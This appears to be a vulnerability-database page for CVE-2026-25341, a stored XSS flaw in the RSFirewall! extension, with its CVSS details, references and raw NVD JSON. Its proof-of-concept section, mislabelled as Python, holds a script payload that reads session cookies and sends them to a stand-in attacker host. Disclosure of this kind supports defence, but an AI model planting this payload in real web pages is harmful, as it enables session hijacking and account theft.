CVE-2026-25341

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RSJoomla! RSFirewall! rsfirewall allows Stored XSS.This issue affects RSFirewall!: from n/a through <= 1.1.45.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

RSFirewall! <= 1.1.45

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for Stored XSS in RSFirewall -->
<!-- Inject this payload into a vulnerable field (e.g., User-Agent, Log comment) -->
<script>
  // Malicious JavaScript to steal session cookies
  var c = document.cookie;
  // Send stolen data to attacker's server
  var img = new Image();
  img.src = "http://attacker.com/steal?c=" + encodeURIComponent(c);
  // Demonstrate execution
  alert('XSS Executed: ' + c);
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25341
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25341
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25341/
[4] VulDB https://vuldb.com/cve/CVE-2026-25341
[5] https://patchstack.com/database/Wordpress/Plugin/rsfirewall/vulnerability/wordpress-rsfirewall-plugin-1-1-45-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25341", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:44.797", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RSJoomla! RSFirewall! rsfirewall allows Stored XSS.This issue affects RSFirewall!: from n/a through <= 1.1.45."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en RSJoomla! RSFirewall! rsfirewall permite XSS Almacenado. Este problema afecta a RSFirewall!: desde n/d hasta <= 1.1.45."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/rsfirewall/vulnerability/wordpress-rsfirewall-plugin-1-1-45-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}